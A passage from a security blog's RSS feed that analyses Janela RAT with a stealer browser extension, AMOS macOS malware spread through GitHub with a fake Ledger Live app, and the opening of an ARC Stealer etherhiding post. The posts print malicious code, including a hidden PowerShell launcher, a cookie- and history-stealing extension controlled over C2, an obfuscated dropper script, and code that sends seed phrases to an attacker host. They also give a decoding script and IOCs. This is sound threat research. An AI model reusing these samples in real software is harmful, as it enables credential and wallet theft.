UTF-8 text, with CRLF line terminators<br>F_dfb49ddcd9b6: DOS batch file text, ASCII text, with CRLF line terminators<br>F_e69ef3b45260: DOS batch file text, ASCII text, with CRLF line terminators</pre><p>Some of the scripts rely upon the execution flow completing through other scripts, such as the script for setting up the custom browser extension relies upon the extension being put in place but that happens later by another executable entirely.</p><pre>$extensionPath = &quot;C:\Users\Public\Documents\LPrKz6y2fG\3a5OxUe6&quot;<br><br>$maxTries = 10<br>$try = 0<br>while ($try -lt $maxTries) {<br>    if (Test-Path $extensionPath) {<br>        Start-Sleep -Seconds 10<br>        break<br>    } else {<br>        Start-Sleep -Seconds 10<br>        $try++<br>    }<br>}</pre><p>Ultimately looks for Chromium based browsers to add parameters to the execution to load the extension:</p><pre>&quot;--load-extension=`&quot;$extensionPath`&quot; --disable-extensions-except=`&quot;$extensionPath`&quot; -no-first-run&quot;</pre><p>One of the other scripts contains functionality for unzipping a zip file and building a powershell script to detonate a hardcoded EXE name:</p><pre>echo $process = Start-Process -FilePath &quot;LPrKz6y2fG.exe&quot; -WorkingDirectory &quot;%DEST_DIR%&quot; -PassThru &gt; &quot;%TEMP%\start_process.ps1&quot;<br>echo $process.WaitForExit() &gt;&gt; &quot;%TEMP%\start_process.ps1&quot;<br><br>start &quot;&quot; powershell -WindowStyle Hidden -Command &quot;&amp; &#39;%TEMP%\start_process.ps1&#39;; Remove-Item &#39;%TEMP%\start_process.ps1&#39;&quot;</pre><p>Inside the zip file:</p><pre>   Date      Time    Attr         Size   Compressed  Name<br>------------------- ----- ------------ ------------  ------------------------<br>2025-06-12 20:58:44 .....          229          172  com.yourcompany.monitoringapp.json<br>2025-06-12 20:58:44 .....      2855936      1193307  LPrKz6y2fG.exe<br>2025-06-12 20:58:44 .....       384840       384022  LPrKz6y2fG.zip<br>2025-06-12 20:58:44 .....          256          261  LPrKz6y2fG.zip.sig<br>------------------- ----- ------------ ------------  ------------------------</pre><p>The exe, ‘LPrKz6y2fG.exe’, is a GoLang binary that has has the password to the same named Zip file inside of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PPmOLbPN2HjHpWMTu9PIg.png" /></figure><p>Inside of the zip file is a browser extension and a Janella RAT executable:</p><pre>   Date      Time    Attr         Size   Compressed  Name<br>------------------- ----- ------------ ------------  ------------------------<br>2025-06-12 20:58:44 .....       294792       156139  BF32FB64-1EF9-4ABF-8806-8B182B7929D4.exe<br>2025-06-12 20:58:44 .....          256          289  BF32FB64-1EF9-4ABF-8806-8B182B7929D4.exe.sig<br>2016-07-08 12:47:08 .....       192000        81431  protobuf-net.dll<br>2025-06-12 20:58:44 .....          256          289  protobuf-net.dll.sig<br>2020-02-19 07:05:18 .....        20856        11440  System.Buffers.dll<br>2025-06-12 20:58:44 .....          256          289  System.Buffers.dll.sig<br>2022-05-08 00:31:02 .....       142240        59835  System.Memory.dll<br>2025-06-12 20:58:44 .....          256          289  System.Memory.dll.sig<br>2018-05-15 10:29:44 .....       115856        32896  System.Numerics.Vectors.dll<br>2025-06-12 20:58:44 .....          256          289  System.Numerics.Vectors.dll.sig<br>2020-02-19 07:05:16 .....        16768         8916  System.Runtime.CompilerServices.Unsafe.dll<br>2025-06-12 20:58:44 .....          256          289  System.Runtime.CompilerServices.Unsafe.dll.sig<br>2025-06-12 20:58:38 .....        83868        28990  3a5OxUe6/bg_d94f45fa.js<br>2025-06-12 20:58:38 .....          614          386  3a5OxUe6/ct_cb4f5a58.js<br>2025-06-12 20:58:38 .....         1299          757  3a5OxUe6/manifest.json<br>------------------- ----- ------------ ------------  ------------------------</pre><p>The RAT exe name is also referenced in the GoLang binary in relation to a bunch of base64 encoded URLs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tcU8ZTVsy-2T-u87vAjRrA.png" /></figure><p>Decoded URLs:</p><pre>https://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file1.csvhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file2.yamlhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file3.xmlhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file4.csvhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file5.mdhttps://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file6.md</pre><p>Inside these files is a base64 encoded C2 domain:</p><pre>% curl -k https://gitlab.com/mario1950ams341/rootkit_1206/-/raw/main/file1.csv |base64 --decode<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100    44  100    44    0     0     65      0 --:--:-- --:--:-- --:--:--    65<br>hxxps://w51w.worldassitencia[.]com</pre><p>After processing the URLs it will also attempt to generate a config.json file which will be used by later stages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5BN7Lp-W5lvlSFiKdYiPdQ.png" /></figure><p>This is interesting because part of the zip file previously unzipped is also a browser extension which has references to the config.json file:</p><pre>            async loadConfig() {<br>                let e = await fetch(chrome.runtime.getURL(&quot;config.json&quot;));<br>                if (!e.ok) throw new Error(&quot;Failed loading config.json&quot;);<br>                return await e.json()<br>            }</pre><p>Commands issued from the C2 websocket all goes to a single function:</p><pre>  }), this.socket.on(&quot;connect&quot;, <br>      () =&gt; this.onConnected()), <br>    this.socket.on(&quot;disconnect&quot;, <br>      () =&gt; this.onDisconnected()), <br>    this.socket.on(&quot;connect_error&quot;, <br>      o =&gt; this.onError(o)), <br>    this.socket.on(&quot;command&quot;, <br>      o =&gt; this.handleCommand(o)), n = !0;</pre><p>Extension command handler:</p><pre>           handleCommand(e) {<br>                switch (e.action) {<br>                    case &quot;screenshot&quot;:<br>                        this.captureScreenshot();<br>                        break;<br>                    case &quot;execute&quot;:<br>                        this.executeNative(e.command);<br>                        break;<br>                    case &quot;refresh&quot;:<br>                        this.collectReresh();<br>                        break;<br>                    case &quot;version&quot;:<br>                        this.executeVersion(e);<br>                        break<br>                }<br>            }</pre><p>Screenshot takes at most 800x600 screenshot and sends it off:</p><pre>                maxWidth: e = 800,<br>                maxHeight: t = 600</pre><p>ExecuteNative uses the Chrome.runtime API and chrome.runtime.sendNativeMessage to send the command to be executed to an EXE that will process it. The callback function will handle sending off the results:</p><pre>           executeNative(e) {<br>                chrome.runtime.sendNativeMessage(&quot;com.yourcompany.monitoringapp&quot;, {<br>                    Command: e,<br>                    Type: &quot;command&quot;<br>                }, t =&gt; {<br>                    if (chrome.runtime.lastError) {<br>                        this.sendData(&quot;native_response&quot;, {<br>                            type: &quot;response&quot;,<br>                            response: &quot;[**EERRORRR**]&quot; + chrome.runtime.lastError.message<br>                        });<br>                        return<br>                    }<br>                    this.sendData(&quot;native_response&quot;, {<br>                        type: &quot;response&quot;,<br>                        response: t<br>                    })<br>                })<br>            }</pre><p>CollectReferesh involves collecting the system info along with cookies, browsing history, (max 100 results), installed extensions and open tab listing:</p><pre>            async collectReresh() {<br>                this.collectedData.systemInfo = await this.getSystemInfo(), this.collectedData.browserData = {<br>                    cookies: await this.getAllCookies(),<br>                    history: await this.getBrowserHistory(),<br>                    extensions: await this.getInstalledExtensions()<br>                }, this.collectedData.currentState = {<br>                    tabs: await this.getOpenTabs()<br>                }, this.sendData(&quot;ext_response&quot;, {<br>                    type: &quot;refresh&quot;,<br>                    payload: this.collectedData<br>                }), chrome.storage.local.set({<br>                    lastDataCollection: new Date().toISOString()<br>                })<br>            }</pre><p>ExecuteVersion will load a value that was initiated as an array:</p><pre>        vr = []<br><br>        executeVersion(e) {<br>          vr = e.data<br>        }</pre><p>This data is later used in a way to check if a value that should be a list of strings will be present in the url from the tab:</p><pre>    function Ds(r) {<br>        try {<br>            return vr.some(e =&gt; r.includes(e))<br>        } catch {<br>            return !1<br>        }<br>    }</pre><p>It appears that the generated config from the binary will also contain the repo list. This will be used for C2 communications over in this case websocket:</p><pre>   let e = this.config,<br>                    t = e.repos,<br>                    n = !1;<br>                for (let s of t) try {<br>                    let i = await Ls.get(s);<br>                    this.socket = he(atob(i.data), {<br>                        transports: [&quot;websocket&quot;],<br>                        reconnection: !1,<br>                        query: {<br>                            clientId: e.clientId,<br>                            tipo: &quot;extensao&quot;,<br>                            username: e.username,<br>                            computername: e.computername,<br>                            version: ft<br>                        }</pre><p>The Janela RAT[3] binary itself is obfuscated with the free version of Eziriz .NET reactor[1], a deobfuscator for the free version still exists[2].</p><p>The key for decoding strings is the same as the one mentioned in the ZScaler blog:</p><pre>public class Settings<br>{<br> public static string PASSWORD = Convert.ToString(8521);<br><br> public static string VERSION = &quot;2.2&quot;;</pre><p>IOCs</p><p>Network</p><pre>team000analytics.safepurelink.com<br>w51w.worldassitencia.com<br>bulder.wordsuporttsk.com</pre><pre>da6b97b245c65193eb231de0314508759a69db35a8f76afc66b4757702a231d0<br>248ee6233a85daaa3ddc2d9aaf6f24a26969a1f46981aa2a13af0c661fe006d8</pre><p>VBA related files</p><pre>666ba2708be3fc6a208d1e961af343a8105959fa87bfd3322a36d6c4e57d1122<br>6ed7ec9d0c366310d647f44830a6b9bc353a0d8b9e3345253c770bb23a90bdd3<br>97364179ab942af483b973653b89c0dfb8ed5c7d56ed62dbbf7a62933c473fa6<br>e2a86247b7089a5ffb4d0a3c421cedc044c744d37852ebac17291855c54713cf<br>e200158dcca9b28c65d297cc2ff44a2183d8228568c2ebf98ac888d494e18649</pre><p>Disk:</p><pre>%TEMP%\start_process.ps1<br>C:\Users\Public\Documents\LPrKz6y2fG\3a5OxUe6</pre><p>Git accounts:</p><pre>https://gitlab.com/eduardolucenciosbizera/<br>https://gitlab.com/mariogadu896/<br>https://gitlab.com/bnewcbvgeral<br>https://gitlab.com/gitlabworkingg/<br></pre><p>References</p><p>1: <a href="https://www.eziriz.com/dotnet_reactor.htm">https://www.eziriz.com/dotnet_reactor.htm</a></p><p>2: <a href="https://0x1.gitlab.io/reverse-engineering/NETReactorSlayer/">https://0x1.gitlab.io/reverse-engineering/NETReactorSlayer/</a></p><p>3: <a href="https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech">https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e274469a7df8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/janela-rat-and-a-stealer-extension-delivered-together-e274469a7df8">Janela RAT and a stealer extension delivered together</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Amos hiding in GitHub]]></title>
            <link>https://medium.com/walmartglobaltech/amos-hiding-in-github-199eabea6605?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/199eabea6605</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[mac]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Wed, 11 Jun 2025 13:30:31 GMT</pubDate>
            <atom:updated>2025-06-11T13:30:31.051Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>While tracking some recent AMOS campaigns I discovered an interesting sample:</p><pre>9f8c5612c6bfe7ab528190294a9d5eca9e7dec3a7131463477ae103aeec5703b</pre><p>The DMG file related to that file:</p><pre>d46bbb399b19e476cc9c09db4b6a42fe4741439c88bafb8e6d9ed47061f2d315</pre><p>Has an interesting referenced parent:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoVfvGNexpypVVTB7fUVSQ.png" /></figure><p>This zip file has a ITW URL of github:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kOP0Fk0ZbvPDwS7VgAcJqA.png" /></figure><p>This repo was recently created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOMz3YWV3hOa53B4EYSpmA.png" /></figure><p>The repo uses the same link in it’s instructions for installation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*oFnspALf_aoeuZssJuu51w.png" /></figure><p>Inside the DMG is an obfuscated shellscript:</p><pre>pMNtwU=&quot;${qrgOXyHS}${haBaldwv}${AgZQWfvd}${aALJjBwl}${ZLuuxJMU}${DCwoIEBB}${iBPcYvRY}${pjVUSbPR}${XuiBtxtK}${sSbnlSiF}${txnUzpPz}${qysYOcsj}${JUFshdOZ}${UcdziraY}${ohhOXrVy}${yuOSddSk}${AniCNXJa}${ihmUirVT}${BIjmHWwF}${NVruzFuM}${pEwadsjX}${ZEBEFKNP}${wufpLAuD}&quot;<br><br>gecYhT=$(echo &quot;$pMNtwU&quot; | base64 --decode | perl -e &#39;my $key = pack(&quot;H*&quot;, &quot;34a192d4efbccede2362bc7bf84d1398&quot;); my $data = do { local $/; &lt;STDIN&gt; }; my $k = length($key); for(my $i=0; $i &lt; length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }&#39;)<br>jPkBRj=$(jMRfWL &quot;$gecYhT&quot;)<br>eval &quot;$jPkBRj&quot;</pre><p>After deobfuscating via base64 -&gt; xor -&gt; base64 we are left with this:</p><pre>#!/bin/bash<br>osascript -e &#39;on run<br>    try<br>        set diskList to list disks<br>    end try<br>    set targetDisk to &quot;&quot;<br>    try<br>        repeat with disk in diskList<br>            if disk contains &quot;touchlock&quot; then<br>                set targetDisk to disk<br>                exit repeat<br>            end if<br>        end repeat<br>    end try<br>    if targetDisk is &quot;&quot; then<br>        return<br>    end if<br>    set folderPath to &quot;/Volumes/&quot; &amp; targetDisk &amp; &quot;/&quot;<br>    set appName to &quot;.touchlock&quot;<br>    set appPath to folderPath &amp; appName<br>    set tempAppPath to &quot;/tmp/&quot; &amp; appName<br>    try<br>        do shell script &quot;rm -f &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;cp &quot; &amp; quoted form of appPath &amp; &quot; &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;xattr -c &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script &quot;chmod +x &quot; &amp; quoted form of tempAppPath<br>    end try<br>    try<br>        do shell script quoted form of tempAppPath<br>    end try<br>end run&#39;</pre><p>The script will move the onboard .touchblock file to the ‘tmp’ folder and then detonate it. Inside this file is both an x64 and an ARM64 version of AMOS, the data decoding involves 3 equal sized blocks followed by base64 decoding with a custom alphabet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pUXHU9edqLCdu92eZBcYkg.png" /></figure><p>The algorithm involves three blocks of equal size, every dword is taken and subtracted and xord appropriately.</p><pre>c210 = GetManyBytes(0x1000aa0f0, 0x200)<br>c410 = 0x1000aa4ec<br>c610 = GetManyBytes(0x1000aa4f0, 0x200)<br><br>out = &quot;&quot;<br>for i in range(0x80):<br>  a = struct.unpack_from(&#39;&lt;I&#39;, c210[i*4:])[0]<br>  d = struct.unpack_from(&#39;&lt;I&#39;, c610[i*4:])[0]<br>  c = Dword(c410-(i*4))<br>  a = (a - d) &amp; 0xffffffff<br>  a ^= c<br>  out += chr(a)</pre><p>The 0x200 blob then decodes into the custom base64 alphabet:</p><pre>xtk1IbLCo9pQgDwBKNl_Pa*Z-J40zOiEr&amp;5n8s=R!dAG%$&lt;SF@#+)eT2hcH?ufVy</pre><p>After decoding the larger blob with the same algorithm, the previously decoded alphabet will be used to base64 decode the script:</p><pre>osascript -e &#39;<br>set memData to do shell script &quot;system_profiler SPMemoryDataType&quot;<br>set hardwareData to do shell script &quot;system_profiler SPHardwareDataType&quot;<br><br>if memData contains &quot;QEMU&quot; or memData contains &quot;VMware&quot; or memData contains &quot;KVM&quot; or hardwareData contains &quot;Z31FHXYQ0J&quot; or hardwareData contains &quot;C07T508TG1J2&quot; or hardwareData contains &quot;C02TM2ZBHX87&quot; or hardwareData contains &quot;Chip: Unknown&quot; then<br>    set exitCode to 100<br>else<br>    set exitCode to 0<br>end if<br><br>do shell script &quot;exit &quot; &amp; exitCode<br>&#39;<br>end readwrite2yaend tellduplicate sourceFile to destinationFolder with replacingth_as_save of path_as_save<br><br>&lt;..snip..&gt;</pre><p>For automating the decoding out IOCs from samples we can leverage yara-python:</p><pre>import re<br>import sys<br>import yara<br>import struct<br>import binascii<br>import base64<br>rule_source = &#39;&#39;&#39;<br>rule amos<br>{<br>    strings:<br>    $a1 = {4c 8d 35 ?? ?? ?? 00 45 31 ff 4c}<br>    condition:<br>    all of them<br>}<br>&#39;&#39;&#39;<br>#From Graham Austin<br>def yara_scan(raw_data, rule_name):<br>    xor_keys = []<br>    yara_rules = yara.compile(source=rule_source)<br>    matches = yara_rules.match(data=raw_data)<br>    for match in matches:<br>        if match.rule == &#39;amos&#39;:<br>            for item in match.strings:<br>                if item.identifier == rule_name and len(item.instances) &gt; 0:<br>                    xor_keys += (item.instances)<br>    return xor_keys<br>def add_base64_padding(data):<br>    return data + b&#39;=&#39; * (-len(data) % 4)<br>def custom_b64(encoded_data, custom_alphabet):<br>    std_base64chars = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;<br>    translated_data = encoded_data.translate(str.maketrans(custom_alphabet, std_base64chars)).encode()<br>    return(base64.b64decode(add_base64_padding(translated_data)))<br>data = open(sys.argv[1], &#39;rb&#39;).read()<br>tet = yara_scan(data, &#39;$a1&#39;)<br>key_struct = None<br>blobs = []<br>#To get memory address you do the offset from opcode + yara match .offset + instruction opcode count in this case 7<br>while len(tet) &gt; 0:<br>    (dc, dc, dc, offset_a,dc, dc, dc, offset_c, dc, dc, offset_d) = struct.unpack_from(&#39;&lt;BBBIHHHIHBI&#39;, data[tet[0].offset:])<br>    offset_a += tet[0].offset<br>    offset_a += 7<br>    offset_c += tet[0].offset<br>    offset_c += 17<br>    offset_d += tet[0].offset<br>    offset_d += 24<br>    l = offset_d - offset_c<br>    l = int(l/2)<br>    if l == 0x200:<br>        key_struct = {&#39;a_off&#39;: offset_c, &#39;a_len&#39;: l, &#39;c_off&#39;: offset_a, &#39;c_len&#39;: l, &#39;d_off&#39;: offset_d, &#39;d_len&#39;: l}<br>    else:<br>        obj_struct = {&#39;a_off&#39;: offset_c, &#39;a_len&#39;: l, &#39;c_off&#39;: offset_a, &#39;c_len&#39;: l, &#39;d_off&#39;: offset_d, &#39;d_len&#39;: l}<br>        blobs.append(obj_struct)<br>    tet = tet[1:]<br>if key_struct:<br>    out = &quot;&quot;<br>    a_data = data[key_struct[&#39;a_off&#39;]:key_struct[&#39;a_off&#39;]+key_struct[&#39;a_len&#39;]]<br>    d_data = data[key_struct[&#39;d_off&#39;]:key_struct[&#39;d_off&#39;]+key_struct[&#39;d_len&#39;]]<br>    #c_data = data[key_struct[&#39;c_off&#39;]:key_struct[&#39;c_off&#39;]+key_struct[&#39;c_len&#39;]]<br>    for i in range(0x80):<br>        a = struct.unpack_from(&#39;&lt;I&#39;, a_data[i*4:])[0]<br>        d = struct.unpack_from(&#39;&lt;I&#39;, d_data[i*4:])[0]<br>        c = struct.unpack_from(&#39;&lt;I&#39;, data[key_struct[&#39;c_off&#39;]-(i*4):])[0]<br>        a = (a - d) &amp; 0xffffffff<br>        a ^= c<br>        out += chr(a&amp;0xff)<br>    key = binascii.unhexlify(out)<br>    dump = b&#39;&#39;<br>    for blob in blobs:<br>        out = &quot;&quot;<br>        a_data = data[blob[&#39;a_off&#39;]:blob[&#39;a_off&#39;]+blob[&#39;a_len&#39;]]<br>        d_data = data[blob[&#39;d_off&#39;]:blob[&#39;d_off&#39;]+blob[&#39;d_len&#39;]]<br>        #c_data = data[blob[&#39;c_off&#39;]:blob[&#39;c_off&#39;]+blob[&#39;c_len&#39;]]<br>        for i in range(int(blob[&#39;a_len&#39;]/4)):<br>            a = struct.unpack_from(&#39;&lt;I&#39;, a_data[i*4:])[0]<br>            d = struct.unpack_from(&#39;&lt;I&#39;, d_data[i*4:])[0]<br>            c = struct.unpack_from(&#39;&lt;I&#39;, data[blob[&#39;c_off&#39;]-(i*4):])[0]<br>            a = (a - d) &amp; 0xffffffff<br>            a ^= c<br>            out += chr(a)<br>        temp = binascii.unhexlify(out)<br>        decoded = custom_b64(temp.decode(&#39;ascii&#39;), key.decode(&#39;ascii&#39;))<br>        dump += decoded+b&#39;\n&#39;<br><br>c2s = re.findall(b&#39;&#39;&#39;https?:[^&#39;&quot;\x20]+[&#39;&quot;\x20]&#39;&#39;&#39;, dump)<br>c2s = [x[:-1] for x in c2s]<br>print(c2s)</pre><p>The C2s for our sample are:</p><pre>[b&#39;hxxps://isnimitz.]com/zxc/app.zip&#39;, b&#39;hxxp://45.94.47[.136/contact&#39;]</pre><p>The app.zip download is a fake Ledger Live.app:</p><pre>2b7e58d66e0d3f55c4a3e0e23ca51b2e13e654874379fb57c63ae6af9167c0b5</pre><p>Contents:</p><pre>   Date      Time    Attr         Size   Compressed  Name<br>------------------- ----- ------------ ------------  ------------------------<br>2025-05-14 10:42:45 D....            0            0  Ledger Live.app<br>2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents<br>2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/_CodeSignature<br>2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/MacOS<br>2025-05-14 10:42:45 D....            0            0  Ledger Live.app/Contents/Resources<br>2025-05-14 10:42:45 .....         1556          528  Ledger Live.app/Contents/Info.plist<br>2025-05-14 10:42:45 .....            8            8  Ledger Live.app/Contents/PkgInfo<br>2025-05-14 10:42:45 .....         4048         1140  Ledger Live.app/Contents/_CodeSignature/CodeResources<br>2025-05-14 10:42:45 .....       221856        37212  Ledger Live.app/Contents/MacOS/Ledger Live<br>2025-05-14 10:42:44 .....        14025         3125  Ledger Live.app/Contents/Resources/index.html<br>2025-05-14 10:42:44 .....         8728         8733  Ledger Live.app/Contents/Resources/img_lock2.png<br>2025-05-14 10:42:45 .....        15608        14632  Ledger Live.app/Contents/Resources/AppIcon.icns<br>2025-05-14 10:42:45 .....        40968        15613  Ledger Live.app/Contents/Resources/Assets.car<br>2025-05-14 10:42:44 .....        11745         2968  Ledger Live.app/Contents/Resources/put_seed.html<br>2025-05-14 10:42:44 .....      3714421      3710112  Ledger Live.app/Contents/Resources/videoplayback.mp4<br>2025-05-14 10:42:44 .....        61454        61438  Ledger Live.app/Contents/Resources/image.png<br>2025-05-14 10:42:44 .....        13639         2840  Ledger Live.app/Contents/Resources/end.html</pre><p>The app will display a message</p><pre>&lt;div class=&quot;sidebar&quot; id=&quot;sidebar&quot;&gt;<br>    &lt;div class=&quot;logo-text&quot;&gt;<br>        LEDGER-LIVE<br>        &lt;span&gt;&lt;/span&gt;<br>    &lt;/div&gt;<br>    &lt;br&gt;<br>    &lt;br&gt;<br><br>    &lt;div class=&quot;main-text&quot;&gt;<br>        THE MOST SECURE<br>        &lt;br&gt;<br>        CRYPTOCURRENCY<br>        &lt;br&gt;<br>        <br>        &amp; NFT WALLET<br><br>        &lt;span&gt;&lt;/span&gt;<br>    &lt;/div&gt;</pre><p>But in the code you can find what is really happening:</p><pre>      function goStage2() {<br>        const username = getUsernameParam();<br>        let targetUrl = &#39;put_seed.html&#39;;<br>        if (username) {<br>          targetUrl += &#39;?username=&#39; + encodeURIComponent(username);<br>        }<br>        window.location.href = targetUrl;<br>      }</pre><p>Next in the put_seed html file it will ask for your secret phrase:</p><pre>&lt;div class=&quot;main-content-wrapper&quot; id=&quot;mainContentWrapper&quot;&gt;<br>    &lt;div class=&quot;main-content&quot;&gt;<br>        &lt;h1&gt;GENUINE CHECK&lt;/h1&gt;<br>        &lt;p class=&quot;description&quot;&gt;<br>            Your secret phrase is the list of words you backed up when<br>            you first set up your wallet. Ledger does not keep a copy of your<br>            recovery phrase.<br>        &lt;/p&gt;<br><br>        &lt;div class=&quot;words-grid&quot; id=&quot;wordsGrid&quot;&gt;&lt;/div&gt;<br><br>        &lt;button type=&quot;submit&quot; id=&quot;submitButton&quot;&gt;Confirm&lt;/button&gt;<br>    &lt;/div&gt;<br>&lt;/div&gt;</pre><p>Finally all the data will be sent off:</p><pre>    submitButton.addEventListener(&quot;click&quot;, () =&gt; {<br>        const words = [];<br>        inputFields.forEach((input) =&gt; {<br>            words.push(input.value.trim());<br>        });<br><br>        const allWordsFilled =<br>            words.length === 24 &amp;&amp; words.every((word) =&gt; word !== &quot;&quot;);<br><br>        if (!allWordsFilled) {<br>            return;<br>        }<br><br>        const seedPhrase = words.join(&quot;#&quot;);<br>        let username = new URLSearchParams(window.location.search).get(<br>            &quot;username&quot;<br>        );<br><br>        if (!username) {<br>            username = &quot;testing&quot;<br>        }<br>               <br>        const encodedUsername = btoa(username); <br>        const encodedSeed = btoa(seedPhrase);<br>        <br>        const url = &quot;hxxps://heathlypet[.com/receive.php&quot;;<br>    <br>        const securedData = {<br>            username: encodedUsername,<br>            seed: encodedSeed<br>        };</pre><p>The Github was taken down very quickly but the user that did the actual commits had done so on multiple repos, example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ZeVFvnngrpetTI2Lum5UA.png" /></figure><p>Which also contains an installer with an AMOS variant on board using the same C2s.</p><h3>IOCs</h3><pre>heathlypet[.com<br>isnimitz.]com<br>gknkargo.]com<br>aimplyhired.]com<br><br>45.94.47[.136<br>85.192.49[.118<br>45.94.47[.103<br>45.94.47[.102<br>62.60.249[.105</pre><h3>References</h3><p>1: <a href="https://github.com/RussianPanda95/IDAPython/blob/main/Atomic%20Stealer/amos_config_extract_idapython-3-2025.py">https://github.com/RussianPanda95/IDAPython/blob/main/Atomic%20Stealer/amos_config_extract_idapython-3-2025.py</a></p><p>2: <a href="https://www.bleepingcomputer.com/news/security/hackers-use-fake-ledger-apps-to-steal-mac-users-seed-phrases/">https://www.bleepingcomputer.com/news/security/hackers-use-fake-ledger-apps-to-steal-mac-users-seed-phrases/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=199eabea6605" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/amos-hiding-in-github-199eabea6605">Amos hiding in GitHub</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ARC Stealer Hiding in the Ether]]></title>
            <link>https://medium.com/walmartglobaltech/arc-stealer-hiding-in-the-ether-9231b3ac7318?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/9231b3ac7318</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Tue, 27 May 2025 14:49:40 GMT</pubDate>
            <atom:updated>2025-05-27T14:49:40.443Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>Etherhiding[1] is a technique being employed by hiding part of the infection chain in the blockchain[2] using smart contracts, the data that can be stored inside of the smart contract can be just about anything. The content of the smart contract is hosted on the blockchain which makes it significantly harder to take content down.</p><p>While tracking some etherhiding campaigns I came across this transaction:</p><p><a href="https://testnet.bscscan.com/tx/0x021e798752ca28e32452a5f332aa58c2765609d4714e2a1a672cf587da7b921a">https://testnet.bscscan.com/tx/0x021e798752ca28e32452a5f332aa58c2765609d4714e2a1a672cf587da7b921a</a></p><p>This data decodes into javascript that will build out the fake captcha page designed to get the user to execute a command:</p><pre>  &lt;main class=&quot;verify-main&quot;&gt;<br>            &lt;p&gt;<br>                To better prove you are not a robot, please:<br>            &lt;/p&gt;<br>            &lt;ol&gt;<br>                &lt;li&gt;<br>                    Press &amp; hold the Windows Key &lt;i class=&quot;fab fa-windows&quot;&gt;&lt;/i&gt; + &lt;b&gt;R&lt;/b&gt;.<br>                &lt;/li&gt;<br>                <br>                &lt;li&gt;<br>                    In the verification window, press &lt;b&gt;Ctrl&lt;/b&gt; + &lt;b&gt;V&lt;/b&gt;.<br>                &lt;/li&gt;<br><br>                &lt;li&gt;<br>                    Press &lt;b&gt;Enter&lt;/b&gt; on your keyboard to finish.<br>                &lt;/li&gt;<br>            &lt;/ol&gt;<br>            &lt;p&gt;<br>                You will observe and agree:<br>                &lt;br&gt;<br>            &lt;code&gt;<br>                &amp;#9989; &quot;I am not a robot - reCAPTCHA Verification ID: &lt;span id=&quot;verification-id&quot;&gt;146820&lt;/span&gt;&quot;<br>            &lt;/code&gt;<br>            &lt;/p&gt;<br><br>            </pre><p>Inside will also be obfuscatorDotIO obfuscated javascript, after deobfuscating[4] it will have the command to be ran by the user.</p><p>Deobfuscated javascript:</p><pre>(function (_0x2dc32a, _0x524a97) {<br>  const _0x3ab038 = _0x2dc32a();<br>  while (true) {<br>    try {<br>      const _0x58e008 = -parseInt(_0x2b0f(148, 0x209)) / 0x1 * (-parseInt(_0x2b0f(177, 0x21c)) / 0x2) + parseInt(_0x2b0f(166, 0x1f4)) / 0x3 * (parseInt(_0x2b0f(154, 0x204)) / 0x4) + -parseInt(_0x2b0f(173, 0x23e)) / 0x5 * (parseInt(_0x2b0f(131, 0x1f1)) / 0x6) + -parseInt(_0x2b0f(145, 0x209)) / 0x7 * (-parseInt(_0x2b0f(117, 0x1fd)) / 0x8) + -parseInt(_0x2b0f(119, 0x1d6)) / 0x9 + parseInt(_0x2b0f(121, 0x1d3)) / 0xa + 